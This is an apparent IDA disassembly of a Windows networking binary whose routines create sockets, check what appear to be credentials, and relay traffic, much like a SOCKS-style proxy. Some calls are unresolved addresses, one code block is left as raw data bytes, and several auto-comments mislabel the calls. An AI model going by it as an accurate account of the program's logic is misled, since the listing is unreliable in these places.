; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B8E0	proc near		; CODE XREF: sub_401C30j

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42B97F
		dec	eax
		jz	short loc_42B92A
		dec	eax
		jnz	loc_42BA72
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42B92A:				; CODE XREF: sub_42B8E0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_401758
		test	al, al
		jz	loc_42BA72
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42B99B
; ---------------------------------------------------------------------------


loc_42B97F:				; CODE XREF: sub_42B8E0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42B99B:				; CODE XREF: sub_42B8E0+9Dj
		mov	ebx, dword_511C3C
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42BA72
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42BA72
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_511C68
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jnz	short loc_42BA72


loc_42B9F9:				; CODE XREF: sub_42B8E0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42BA56
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42B9F9


loc_42BA56:				; CODE XREF: sub_42B8E0+16Fj
		mov	esi, dword_511C9C
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42BA72:				; CODE XREF: sub_42B8E0+35j
					; sub_42B8E0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42B8E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BB00	proc near		; CODE XREF: sub_42C5C0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42BDBA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42BED6
		mov	edi, dword_511C94
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42BF63
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h
		dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 4472F868h, 8BE85600h
		dd 90716886h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42BDBA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42BCCB:				; CODE XREF: sub_42BB00+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42BCEF
		test	al, al
		jz	short loc_42BCEB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42BCEF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42BCCB


loc_42BCEB:				; CODE XREF: sub_42BB00+1D5j
		xor	eax, eax
		jmp	short loc_42BCF4
; ---------------------------------------------------------------------------


loc_42BCEF:				; CODE XREF: sub_42BB00+1D1j
					; sub_42BB00+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BCF4:				; CODE XREF: sub_42BB00+1EDj
		test	eax, eax
		jz	short loc_42BD51
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017EE
		lea	edi, [esp+83Ch+var_100]


loc_42BD0E:				; CODE XREF: sub_42BB00+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42BD32
		test	cl, cl
		jz	short loc_42BD2E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42BD32
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42BD0E


loc_42BD2E:				; CODE XREF: sub_42BB00+218j
		xor	eax, eax
		jmp	short loc_42BD37
; ---------------------------------------------------------------------------


loc_42BD32:				; CODE XREF: sub_42BB00+214j
					; sub_42BB00+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BD37:				; CODE XREF: sub_42BB00+230j
		test	eax, eax
		jz	short loc_42BD51
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BD51:				; CODE XREF: sub_42BB00+1F6j
					; sub_42BB00+239j
		mov	edi, dword_511CA0
		push	0
		push	2
		push	offset dword_4472F4
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	near ptr 71AB2DC0h
		nop
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42BDBA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42BE21
		sub	eax, 2
		jz	short loc_42BDC9
		dec	eax


loc_42BDB8:				; CODE XREF: sub_42BB00+31Fj
		jnz	short loc_42BE30


loc_42BDBA:				; CODE XREF: sub_42BB00+32j
					; sub_42BB00+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BDC9:				; CODE XREF: sub_42BB00+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_401758
		test	al, al
		jmp	short loc_42BDB8
; ---------------------------------------------------------------------------


loc_42BE21:				; CODE XREF: sub_42BB00+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42BE30:				; CODE XREF: sub_42BB00:loc_42BDB8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42BDBA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	loc_42BDBA
		push	eax
		push	4
		push	offset dword_4472EC
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020E0
		push	ebx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BED6:				; CODE XREF: sub_42BB00+47j
		cmp	ax, 2
		jnz	loc_42BF63
		mov	ebx, dword_511C94


loc_42BEE6:				; CODE XREF: sub_42BB00+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		nop
		call	near ptr 71AB2D0Fh
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C30
		test	edi, edi
		jz	short loc_42BF63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42BF63
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42BEE6


loc_42BF63:				; CODE XREF: sub_42BB00+67j
					; sub_42BB00+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42BB00	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C0A0	proc near		; CODE XREF: sub_401F37j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42C0B4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0B4:				; CODE XREF: sub_42C0A0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42C0C6
		dec	eax
		jz	short loc_42C0E8
		mov	word ptr [esi+6], 1


loc_42C0C6:				; CODE XREF: sub_42C0A0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42C0D0:				; CODE XREF: sub_42C0A0+52j
		push	ecx
		push	eax
		push	2
		call	near ptr 71AB3B91h
		nop
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42C0F4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0E8:				; CODE XREF: sub_42C0A0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42C0D0
; ---------------------------------------------------------------------------


loc_42C0F4:				; CODE XREF: sub_42C0A0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42C139
		mov	eax, [esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C139:				; CODE XREF: sub_42C0A0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42C161
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_42C161
		mov	edx, [esi+32h]
		push	edx
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C161:				; CODE XREF: sub_42C0A0+9Ej
					; sub_42C0A0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42C0A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C1B0	proc near		; CODE XREF: sub_401DD4j

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42C1B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42C24A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42C231
		mov	ebx, dword_511C98
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42C216


loc_42C202:				; CODE XREF: sub_42C1B0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42C202


loc_42C216:				; CODE XREF: sub_42C1B0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jnz	short loc_42C26A


loc_42C231:				; CODE XREF: sub_42C1B0+39j
					; sub_42C1B0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42C244:				; DATA XREF: ___:00442FACo
		mov	eax, offset loc_42C231
		retn
; ---------------------------------------------------------------------------


loc_42C24A:				; CODE XREF: sub_42C1B0+2Bj
		cmp	ax, 2
		jnz	short loc_42C231
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jz	short loc_42C231


loc_42C26A:				; CODE XREF: sub_42C1B0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C1B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C2C0:				; CODE XREF: ___:00401F96j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43CEB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42C309:				; DATA XREF: ___:loc_42C321o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42C321:				; DATA XREF: ___:0044300Co
		mov	eax, offset loc_42C309
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C350	proc near		; CODE XREF: sub_401C2Bj

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42C350
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		call	near ptr 71AB664Dh
		nop
		test	eax, eax
		jz	short loc_42C3C7


loc_42C387:				; CODE XREF: ___:0042C456j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42C3C7:				; CODE XREF: sub_42C350+35j
		push	42h
		call	sub_437AEA
sub_42C350	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42C3EC
		push	1
		mov	ecx, eax
		call	sub_4014F1
		jmp	short loc_42C3EE
; ---------------------------------------------------------------------------


loc_42C3EC:				; CODE XREF: ___:0042C3DFj
		xor	eax, eax


loc_42C3EE:				; CODE XREF: ___:0042C3EAj
		mov	dword_5103A4, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_5103A4
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40202C
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40202C
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F37
		test	al, al
		jz	loc_42C387


loc_42C45C:				; CODE XREF: ___:0042C46Dj
		mov	eax, dword_5103A4
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DD4
		jmp	short loc_42C45C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C4C0	proc near		; CODE XREF: sub_4014F1j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42C4E2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43F190
		call	sub_4014B5


loc_42C4E2:				; CODE XREF: sub_42C4C0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43F18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42C4C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C530	proc near		; CODE XREF: sub_4014B5j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_40142E
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C5C0	proc near		; CODE XREF: sub_4020EFj

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42C5C0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42C5D0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43CF28
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401FA0
		push	offset off_444D54
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43F1A0
		call	sub_4015E1
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C640	proc near		; CODE XREF: ___:00401398j sub_401F5Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42C658
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C658:				; CODE XREF: sub_42C640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C670	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_4017A8
sub_42C670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C690:				; CODE XREF: ___:loc_40134Dj
		mov	eax, 1000h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42C71C
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C6BC:				; CODE XREF: ___:0042C71Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+18h]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42C6BC


loc_42C71C:				; CODE XREF: ___:0042C6AEj
					; ___:0042C6E5j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C738
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42C738:				; CODE XREF: ___:0042C72Fj
		add	esp, 1000h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C770	proc near		; CODE XREF: sub_40166Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_444D54
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F1B0
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C7E0	proc near		; CODE XREF: ___:004013A7j sub_401B36j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42C7F8
		push	esi
		call	sub_437AD2
